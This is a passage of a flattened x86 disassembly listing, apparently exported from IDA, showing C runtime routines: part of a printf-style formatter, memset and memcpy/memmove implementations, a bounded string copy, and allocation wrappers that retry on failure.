mov ecx, [ebp+1F8h+var_210] test cx, cx jns loc_4110B2 loc_410F6F: ; CODE XREF: sub_4109D7+6E0j mov eax, [edi] mov edx, [edi+4] add edi, 8 jmp loc_4110E7 ; --------------------------------------------------------------------------- loc_410F7C: ; CODE XREF: sub_4109D7+3D8j jnz short loc_410F8C cmp dl, 67h jnz short loc_410FCA mov [ebp+1F8h+var_218], 1 jmp short loc_410FCA ; --------------------------------------------------------------------------- loc_410F8C: ; CODE XREF: sub_4109D7:loc_410F7Cj cmp [ebp+1F8h+var_218], eax jle short loc_410F94 mov [ebp+1F8h+var_218], eax loc_410F94: ; CODE XREF: sub_4109D7+5B8j cmp [ebp+1F8h+var_218], 0A3h jle short loc_410FCA mov esi, [ebp+1F8h+var_218] add esi, 15Dh push esi call sub_41183A test eax, eax mov dl, [ebp+1F8h+var_211] pop ecx mov [ebp+1F8h+var_24C], eax jz short loc_410FC1 mov [ebp+1F8h+var_21C], eax mov [ebp+1F8h+var_260], esi mov ebx, eax jmp short loc_410FC8 ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_4109D7+5DEj mov [ebp+1F8h+var_218], 0A3h loc_410FC8: ; CODE XREF: sub_4109D7+5E8j xor esi, esi loc_410FCA: ; CODE XREF: sub_4109D7+3E5j ; sub_4109D7+5AAj ... mov eax, [edi] add edi, 8 mov [ebp+1F8h+var_278], eax mov eax, [edi-4] mov [ebp+1F8h+var_274], eax lea eax, [ebp+1F8h+var_25C] push eax push [ebp+1F8h+var_270] movsx eax, dl push [ebp+1F8h+var_218] mov [ebp+1F8h+var_224], edi push eax push [ebp+1F8h+var_260] lea eax, [ebp+1F8h+var_278] push ebx push eax push off_423F78 call sub_40F194 pop ecx call eax mov edi, [ebp+1F8h+var_210] add esp, 1Ch and edi, 80h jz short loc_411027 cmp [ebp+1F8h+var_218], esi jnz short loc_411027 lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_423F84 call sub_40F194 pop ecx call eax pop ecx pop ecx loc_411027: ; CODE XREF: sub_4109D7+634j ; sub_4109D7+639j cmp [ebp+1F8h+var_211], 67h jnz short loc_411046 cmp edi, esi jnz short loc_411046 lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_423F80 call sub_40F194 pop ecx call eax pop ecx pop ecx loc_411046: ; CODE XREF: sub_4109D7+654j ; sub_4109D7+658j cmp byte ptr [ebx], 2Dh jnz short loc_411056 or [ebp+1F8h+var_210], 100h inc ebx mov [ebp+1F8h+var_21C], ebx loc_411056: ; CODE XREF: sub_4109D7+672j push ebx jmp loc_410ECE ; --------------------------------------------------------------------------- loc_41105C: ; CODE XREF: sub_4109D7+50Bj mov [ebp+1F8h+var_218], 8 loc_411063: ; CODE XREF: sub_4109D7+44Dj mov [ebp+1F8h+var_244], ecx jmp short loc_411089 ; --------------------------------------------------------------------------- loc_411068: ; CODE XREF: sub_4109D7+505j sub eax, 73h jz loc_410DE1 dec eax dec eax jz loc_410F5C sub eax, 3 jnz loc_4111DC mov [ebp+1F8h+var_244], 27h loc_411089: ; CODE XREF: sub_4109D7+68Fj test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 10h jz loc_410F63 mov al, byte ptr [ebp+1F8h+var_244] add al, 51h mov [ebp+1F8h+var_230], 30h mov [ebp+1F8h+var_22F], al mov [ebp+1F8h+var_234], 2 jmp loc_410F63 ; --------------------------------------------------------------------------- loc_4110B2: ; CODE XREF: sub_4109D7+592j test cx, 1000h jnz loc_410F6F add edi, 4 test cl, 20h jz short loc_4110DA test cl, 40h mov [ebp+1F8h+var_224], edi jz short loc_4110D3 movsx eax, word ptr [edi-4] jmp short loc_4110D7 ; --------------------------------------------------------------------------- loc_4110D3: ; CODE XREF: sub_4109D7+6F4j movzx eax, word ptr [edi-4] loc_4110D7: ; CODE XREF: sub_4109D7+6FAj cdq jmp short loc_4110EA ; --------------------------------------------------------------------------- loc_4110DA: ; CODE XREF: sub_4109D7+6ECj test cl, 40h mov eax, [edi-4] jz short loc_4110E5 cdq jmp short loc_4110E7 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4109D7+709j xor edx, edx loc_4110E7: ; CODE XREF: sub_4109D7+5A0j ; sub_4109D7+70Cj mov [ebp+1F8h+var_224], edi loc_4110EA: ; CODE XREF: sub_4109D7+701j test cl, 40h jz short loc_411107 cmp edx, esi jg short loc_411107 jl short loc_4110F9 cmp eax, esi jnb short loc_411107 loc_4110F9: ; CODE XREF: sub_4109D7+71Cj neg eax adc edx, 0 neg edx or [ebp+1F8h+var_210], 100h loc_411107: ; CODE XREF: sub_4109D7+716j ; sub_4109D7+71Aj ... test word ptr [ebp+1F8h+var_210], 9000h mov ebx, edx mov edi, eax jnz short loc_411115 xor ebx, ebx loc_411115: ; CODE XREF: sub_4109D7+73Aj cmp [ebp+1F8h+var_218], 0 jge short loc_411124 mov [ebp+1F8h+var_218], 1 jmp short loc_411135 ; --------------------------------------------------------------------------- loc_411124: ; CODE XREF: sub_4109D7+742j and [ebp+1F8h+var_210], 0FFFFFFF7h mov eax, 200h cmp [ebp+1F8h+var_218], eax jle short loc_411135 mov [ebp+1F8h+var_218], eax loc_411135: ; CODE XREF: sub_4109D7+74Bj ; sub_4109D7+759j mov eax, edi or eax, ebx jnz short loc_41113F and [ebp+1F8h+var_234], 0 loc_41113F: ; CODE XREF: sub_4109D7+762j lea esi, [ebp+1F8h+var_D] loc_411145: ; CODE XREF: sub_4109D7+7A0j mov eax, [ebp+1F8h+var_218] dec [ebp+1F8h+var_218] test eax, eax jg short loc_411155 mov eax, edi or eax, ebx jz short loc_411179 loc_411155: ; CODE XREF: sub_4109D7+776j mov eax, [ebp+1F8h+var_220] cdq push edx push eax push ebx push edi call sub_4174B0 add ecx, 30h cmp ecx, 39h mov [ebp+1F8h+var_260], ebx mov edi, eax mov ebx, edx jle short loc_411174 add ecx, [ebp+1F8h+var_244] loc_411174: ; CODE XREF: sub_4109D7+798j mov [esi], cl dec esi jmp short loc_411145 ; --------------------------------------------------------------------------- loc_411179: ; CODE XREF: sub_4109D7+77Cj lea eax, [ebp+1F8h+var_D] sub eax, esi inc esi test word ptr [ebp+1F8h+var_210], 200h mov [ebp+1F8h+var_220], eax mov [ebp+1F8h+var_21C], esi jz short loc_4111DC test eax, eax jz short loc_41119B mov ecx, esi cmp byte ptr [ecx], 30h jz short loc_4111DC loc_41119B: ; CODE XREF: sub_4109D7+7BBj dec [ebp+1F8h+var_21C] mov ecx, [ebp+1F8h+var_21C] mov byte ptr [ecx], 30h inc eax jmp short loc_4111D9 ; --------------------------------------------------------------------------- loc_4111A7: ; CODE XREF: sub_4109D7+7DAj dec ecx cmp [eax], si jz short loc_4111B3 inc eax inc eax loc_4111AF: ; CODE XREF: sub_4109D7+445j cmp ecx, esi jnz short loc_4111A7 loc_4111B3: ; CODE XREF: sub_4109D7+7D4j sub eax, [ebp+1F8h+var_21C] sar eax, 1 jmp short loc_4111D9 ; --------------------------------------------------------------------------- loc_4111BA: ; CODE XREF: sub_4109D7+429j cmp edi, esi jnz short loc_4111C6 mov eax, off_423924 mov [ebp+1F8h+var_21C], eax loc_4111C6: ; CODE XREF: sub_4109D7+7E5j mov eax, [ebp+1F8h+var_21C] jmp short loc_4111D2 ; --------------------------------------------------------------------------- loc_4111CB: ; CODE XREF: sub_4109D7+7FDj dec ecx cmp byte ptr [eax], 0 jz short loc_4111D6 inc eax loc_4111D2: ; CODE XREF: sub_4109D7+7F2j cmp ecx, esi jnz short loc_4111CB loc_4111D6: ; CODE XREF: sub_4109D7+7F8j sub eax, [ebp+1F8h+var_21C] loc_4111D9: ; CODE XREF: sub_4109D7+4E1j ; sub_4109D7+4E9j ... mov [ebp+1F8h+var_220], eax loc_4111DC: ; CODE XREF: sub_4109D7+3B0j ; sub_4109D7+461j ... cmp [ebp+1F8h+var_248], 0 jnz loc_4112E1 mov eax, [ebp+1F8h+var_210] test al, 40h jz short loc_411212 test ax, 100h jz short loc_4111F9 mov [ebp+1F8h+var_230], 2Dh jmp short loc_41120B ; --------------------------------------------------------------------------- loc_4111F9: ; CODE XREF: sub_4109D7+81Aj test al, 1 jz short loc_411203 mov [ebp+1F8h+var_230], 2Bh jmp short loc_41120B ; --------------------------------------------------------------------------- loc_411203: ; CODE XREF: sub_4109D7+824j test al, 2 jz short loc_411212 mov [ebp+1F8h+var_230], 20h loc_41120B: ; CODE XREF: sub_4109D7+820j ; sub_4109D7+82Aj mov [ebp+1F8h+var_234], 1 loc_411212: ; CODE XREF: sub_4109D7+814j ; sub_4109D7+82Ej mov ebx, [ebp+1F8h+var_238] sub ebx, [ebp+1F8h+var_220] sub ebx, [ebp+1F8h+var_234] test byte ptr [ebp+1F8h+var_210], 0Ch jnz short loc_411232 push [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] push ebx push 20h call sub_410969 add esp, 0Ch loc_411232: ; CODE XREF: sub_4109D7+848j push [ebp+1F8h+var_234] mov edi, [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_230] call sub_41098D test byte ptr [ebp+1F8h+var_210], 8 pop ecx jz short loc_41125F test byte ptr [ebp+1F8h+var_210], 4 jnz short loc_41125F push edi push ebx push 30h lea eax, [ebp+1F8h+var_22C] call sub_410969 add esp, 0Ch loc_41125F: ; CODE XREF: sub_4109D7+871j ; sub_4109D7+877j cmp [ebp+1F8h+var_23C], 0 mov eax, [ebp+1F8h+var_220] jz short loc_4112B9 test eax, eax jle short loc_4112B9 mov esi, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_260], eax loc_411272: ; CODE XREF: sub_4109D7+8D8j movzx eax, word ptr [esi] dec [ebp+1F8h+var_260] push eax push 6 lea eax, [ebp+1F8h+var_C] push eax lea eax, [ebp+1F8h+var_268] inc esi push eax inc esi call sub_417492 add esp, 10h test eax, eax jnz short loc_4112B3 cmp [ebp+1F8h+var_268], eax jz short loc_4112B3 push [ebp+1F8h+var_268] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_C] call sub_41098D cmp [ebp+1F8h+var_260], 0 pop ecx jnz short loc_411272 jmp short loc_4112C6 ; --------------------------------------------------------------------------- loc_4112B3: ; CODE XREF: sub_4109D7+8BBj ; sub_4109D7+8C0j or [ebp+1F8h+var_22C], 0FFFFFFFFh jmp short loc_4112C6 ; --------------------------------------------------------------------------- loc_4112B9: ; CODE XREF: sub_4109D7+88Fj ; sub_4109D7+893j mov ecx, [ebp+1F8h+var_21C] push eax lea eax, [ebp+1F8h+var_22C] call sub_41098D pop ecx loc_4112C6: ; CODE XREF: sub_4109D7+8DAj ; sub_4109D7+8E0j cmp [ebp+1F8h+var_22C], 0 jl short loc_4112E1 test byte ptr [ebp+1F8h+var_210], 4 jz short loc_4112E1 push edi push ebx push 20h lea eax, [ebp+1F8h+var_22C] call sub_410969 add esp, 0Ch loc_4112E1: ; CODE XREF: sub_4109D7+57Cj ; sub_4109D7+809j ... cmp [ebp+1F8h+var_24C], 0 jz short loc_4112F4 ; default push [ebp+1F8h+var_24C] call sub_40D35A and [ebp+1F8h+var_24C], 0 pop ecx loc_4112F4: ; CODE XREF: sub_4109D7+19Cj ; sub_4109D7+1BFj ... mov ebx, [ebp+1F8h+var_240] ; default mov al, [ebx] test al, al mov [ebp+1F8h+var_211], al jz short loc_411324 mov ecx, [ebp+1F8h+var_26C] mov edi, [ebp+1F8h+var_224] mov dl, al jmp loc_410B35 ; --------------------------------------------------------------------------- loc_41130D: ; CODE XREF: sub_4109D7+36Ej ; sub_4109D7+55Bj call sub_40F7D4 mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax jmp loc_410A47 ; --------------------------------------------------------------------------- loc_411324: ; CODE XREF: sub_4109D7+158j ; sub_4109D7+166j ... cmp [ebp+1F8h+var_250], 0 jz short loc_411331 mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_411331: ; CODE XREF: sub_4109D7+951j mov eax, [ebp+1F8h+var_22C] loc_411334: ; CODE XREF: sub_4109D7+88j mov ecx, [ebp+1F8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 1F8h leave retn sub_4109D7 endp ; --------------------------------------------------------------------------- db 8Dh, 49h, 0 off_41134F dd offset loc_410D19 ; DATA XREF: sub_4109D7+1A2r dd offset loc_410B80 ; jump table for switch statement dd offset loc_410B9B dd offset loc_410BEA dd offset loc_410C24 dd offset loc_410C2C dd offset loc_410C63 dd offset loc_410D5B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41136F proc near ; CODE XREF: sub_4113C6+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] shr ecx, 7 pxor xmm0, xmm0 jmp short loc_41138F ; --------------------------------------------------------------------------- db 8Dh, 0A4h, 24h, 4 dup(0) db 90h ; --------------------------------------------------------------------------- loc_41138F: ; CODE XREF: sub_41136F+16j ; sub_41136F+4Ej movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm0 movdqa oword ptr [edi+20h], xmm0 movdqa oword ptr [edi+30h], xmm0 movdqa oword ptr [edi+40h], xmm0 movdqa oword ptr [edi+50h], xmm0 movdqa oword ptr [edi+60h], xmm0 movdqa oword ptr [edi+70h], xmm0 lea edi, [edi+80h] dec ecx jnz short loc_41138F mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_41136F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C6 proc near ; CODE XREF: sub_40C6F0+27j ; sub_4113C6+7Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], edi mov eax, [ebp+arg_0] cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx test edi, edi jnz short loc_411420 mov ecx, [ebp+arg_8] mov edx, ecx and edx, 7Fh mov [ebp+var_C], edx cmp ecx, edx jz short loc_411405 sub ecx, edx push ecx push eax call sub_41136F add esp, 8 mov eax, [ebp+arg_0] mov edx, [ebp+var_C] loc_411405: ; CODE XREF: sub_4113C6+2Bj test edx, edx jz short loc_41144E add eax, [ebp+arg_8] sub eax, edx mov [ebp+var_8], eax xor eax, eax mov edi, [ebp+var_8] mov ecx, [ebp+var_C] rep stosb mov eax, [ebp+arg_0] jmp short loc_41144E ; --------------------------------------------------------------------------- loc_411420: ; CODE XREF: sub_4113C6+1Cj neg edi add edi, 10h mov [ebp+var_10], edi xor eax, eax mov edi, [ebp+arg_0] mov ecx, [ebp+var_10] rep stosb mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] add ecx, eax sub edx, eax push edx push 0 push ecx call sub_4113C6 add esp, 0Ch mov eax, [ebp+arg_0] loc_41144E: ; CODE XREF: sub_4113C6+41j ; sub_4113C6+58j mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_4113C6 endp ; =============== S U B R O U T I N E ======================================= sub_411455 proc near ; DATA XREF: r69pu5ti:0041E2C0o and dword_434D3C, 0 call sub_417595 mov dword_434D3C, eax xor eax, eax retn sub_411455 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411470 proc near ; CODE XREF: sub_40C76F+4Dp ; sub_40FB50+2DAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_411490 cmp edi, eax jb loc_411634 loc_411490: ; CODE XREF: sub_411470+16j cmp ecx, 100h jb short loc_4114B7 cmp dword_434D40, 0 jz short loc_4114B7 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_4114B7 pop esi pop edi pop ebp jmp sub_413921 ; --------------------------------------------------------------------------- loc_4114B7: ; CODE XREF: sub_411470+26j ; sub_411470+2Fj ... test edi, 3 jnz short loc_4114D4 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4114F4 rep movsd jmp ds:off_4115E4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4114D4: ; CODE XREF: sub_411470+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4114EC and eax, 3 add ecx, eax jmp dword ptr ds:loc_4114F4+4[eax*4] ; --------------------------------------------------------------------------- loc_4114EC: ; CODE XREF: sub_411470+6Ej jmp dword ptr ds:loc_4115F4[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4114F4: ; CODE XREF: sub_411470+58j ; sub_411470+B6j ... jmp ds:off_411578[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_411505+3 dd offset loc_411534 ; --------------------------------------------------------------------------- pop eax loc_411505: ; DATA XREF: sub_411470+8Co adc eax, 0D1230041h mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4114F4 rep movsd jmp ds:off_4115E4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_411534: ; DATA XREF: sub_411470+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4114F4 rep movsd jmp ds:off_4115E4[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_4114F4 rep movsd jmp ds:off_4115E4[edx*4] ; --------------------------------------------------------------------------- align 4 off_411578 dd offset loc_4115DB ; DATA XREF: sub_411470:loc_4114F4r dd offset loc_4115C8 dd offset loc_4115C0 dd offset loc_4115B8 dd offset loc_4115B0 dd offset loc_4115A8 dd offset loc_4115A0 dd offset loc_411598 ; --------------------------------------------------------------------------- loc_411598: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4115A0: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4115A8: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4115B0: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4115B8: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4115C0: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4115C8: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4115DB: ; CODE XREF: sub_411470:loc_4114F4j ; DATA XREF: sub_411470:off_411578o jmp ds:off_4115E4[edx*4] ; --------------------------------------------------------------------------- align 4 off_4115E4 dd offset loc_4115F4 ; DATA XREF: sub_411470+5Cr ; sub_411470+BAr ... dd offset loc_4115FC dd offset loc_411608 dd offset loc_41161C ; --------------------------------------------------------------------------- loc_4115F4: ; CODE XREF: sub_411470+5Cj ; sub_411470+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4115FC: ; CODE XREF: sub_411470+5Cj ; sub_411470+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_411608: ; CODE XREF: sub_411470+5Cj ; sub_411470+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41161C: ; CODE XREF: sub_411470+5Cj ; sub_411470+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_411634: ; CODE XREF: sub_411470+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_411668 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41165C std rep movsd cld jmp ds:off_411780[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41165C: ; CODE XREF: sub_411470+1DDj ; sub_411470+238j ... neg ecx jmp ds:off_411730[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_411668: ; CODE XREF: sub_411470+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_411680 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_411680+4[eax*4] ; --------------------------------------------------------------------------- loc_411680: ; CODE XREF: sub_411470+202j ; DATA XREF: sub_411470+209r jmp ds:off_411780[ecx*4] ; --------------------------------------------------------------------------- align 4 xchg eax, esp push ss inc ecx add [eax-1FFFBEEAh], bh push ss inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41165C std rep movsd cld jmp ds:off_411780[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41165C std rep movsd cld jmp ds:off_411780[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41165C std rep movsd cld jmp ds:off_411780[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_411734 dd offset loc_41173C dd offset loc_411744 dd offset loc_41174C dd offset loc_411754 dd offset loc_41175C dd offset loc_411764 off_411730 dd offset loc_411777 ; DATA XREF: sub_411470+1EEr ; --------------------------------------------------------------------------- loc_411734: ; DATA XREF: sub_411470+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41173C: ; DATA XREF: sub_411470+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_411744: ; DATA XREF: sub_411470+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41174C: ; DATA XREF: sub_411470+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_411754: ; DATA XREF: sub_411470+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41175C: ; DATA XREF: sub_411470+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_411764: ; DATA XREF: sub_411470+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_411777: ; CODE XREF: sub_411470+1EEj ; DATA XREF: sub_411470:off_411730o jmp ds:off_411780[edx*4] ; --------------------------------------------------------------------------- align 10h off_411780 dd offset loc_411790 ; DATA XREF: sub_411470+1E3r ; sub_411470:loc_411680r ... dd offset loc_411798 dd offset loc_4117A8 dd offset loc_4117BC ; --------------------------------------------------------------------------- loc_411790: ; CODE XREF: sub_411470+1E3j ; sub_411470:loc_411680j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_411798: ; CODE XREF: sub_411470+1E3j ; sub_411470:loc_411680j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4117A8: ; CODE XREF: sub_411470+1E3j ; sub_411470:loc_411680j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4117BC: ; CODE XREF: sub_411470+1E3j ; sub_411470:loc_411680j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_411470 endp ; =============== S U B R O U T I N E ======================================= sub_4117D5 proc near ; CODE XREF: sub_40C7DB+31p ; sub_40C841+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jz short loc_4117EA mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_411805 loc_4117EA: ; CODE XREF: sub_4117D5+Bj ; sub_4117D5+3Aj call sub_40F7D4 push 16h pop esi mov [eax], esi loc_4117F4: ; CODE XREF: sub_4117D5+5Dj push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_411836 ; --------------------------------------------------------------------------- loc_411805: ; CODE XREF: sub_4117D5+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_411811 mov [ecx], bl jmp short loc_4117EA ; --------------------------------------------------------------------------- loc_411811: ; CODE XREF: sub_4117D5+36j mov edx, ecx loc_411813: ; CODE XREF: sub_4117D5+49j mov al, [esi] mov [edx], al inc edx inc esi cmp al, bl jz short loc_411820 dec edi jnz short loc_411813 loc_411820: ; CODE XREF: sub_4117D5+46j cmp edi, ebx jnz short loc_411834 mov [ecx], bl call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_4117F4 ; --------------------------------------------------------------------------- loc_411834: ; CODE XREF: sub_4117D5+4Dj xor eax, eax loc_411836: ; CODE XREF: sub_4117D5+2Ej pop edi pop esi pop ebx retn sub_4117D5 endp ; =============== S U B R O U T I N E ======================================= sub_41183A proc near ; CODE XREF: sub_40EC6A+3Bp ; sub_40F934+48p ... arg_0 = dword ptr 4 push esi push edi xor esi, esi loc_41183E: ; CODE XREF: sub_41183A+39j push [esp+8+arg_0] call sub_40D437 mov edi, eax test edi, edi pop ecx jnz short loc_411875 cmp dword_425FF0, eax jbe short loc_411875 push esi call ds:off_41E0E0 lea eax, [esi+3E8h] cmp eax, dword_425FF0 jbe short loc_41186E or eax, 0FFFFFFFFh loc_41186E: ; CODE XREF: sub_41183A+2Fj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_41183E loc_411875: ; CODE XREF: sub_41183A+12j ; sub_41183A+1Aj mov eax, edi pop edi pop esi retn sub_41183A endp ; =============== S U B R O U T I N E ======================================= sub_41187A proc near ; CODE XREF: sub_40C985+5p ; sub_40F31B+30p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_41187E: ; CODE XREF: sub_41187A+41j push 0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_417602 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_4118BD cmp dword_425FF0, eax jbe short loc_4118BD push esi call ds:off_41E0E0 lea eax, [esi+3E8h] cmp eax, dword_425FF0 jbe short loc_4118B6 or eax, 0FFFFFFFFh loc_4118B6: ; CODE XREF: sub_41187A+37j cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_41187E loc_4118BD: ; CODE XREF: sub_41187A+1Aj ; sub_41187A+22j mov eax, edi pop edi pop esi retn sub_41187A endp ; =============== S U B R O U T I N E ======================================= sub_4118C2 proc near ; CODE XREF: sub_40C8D8+58p ; sub_40C8D8+6Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi xor esi, esi loc_4118C6: ; CODE XREF: sub_4118C2+44j push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_417720 mov edi, eax test edi, edi pop ecx pop ecx jnz short loc_411908 cmp [esp+8+arg_4], eax jz short loc_411908 cmp dword_425FF0, eax jbe short loc_411908 push esi call ds:off_41E0E0 lea eax, [esi+3E8h] cmp eax, dword_425FF0 jbe short loc_411901 or eax, 0FFFFFFFFh loc_411901: ; CODE XREF: sub_4118C2+3Aj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_4118C6 loc_411908: ; CODE XREF: sub_4118C2+17j ; sub_4118C2+1Dj ... mov eax, edi pop edi pop esi retn sub_4118C2 endp ; =============== S U B R O U T I N E ======================================= sub_41190D proc near ; CODE XREF: sub_4129E5+40p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi xor esi, esi loc_411911: ; CODE XREF: sub_41190D+49j push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_41793B mov edi, eax add esp, 0Ch test edi, edi jnz short loc_411958 cmp [esp+8+arg_8], eax jz short loc_411958 cmp dword_425FF0, eax jbe short loc_411958 push esi call ds:off_41E0E0 lea eax, [esi+3E8h] cmp eax, dword_425FF0 jbe short loc_411951 or eax, 0FFFFFFFFh loc_411951: ; CODE XREF: sub_41190D+3Fj cmp eax, 0FFFFFFFFh mov esi, eax jnz short loc_411911 loc_411958: ; CODE XREF: sub_41190D+1Cj ; sub_41190D+22j ... mov 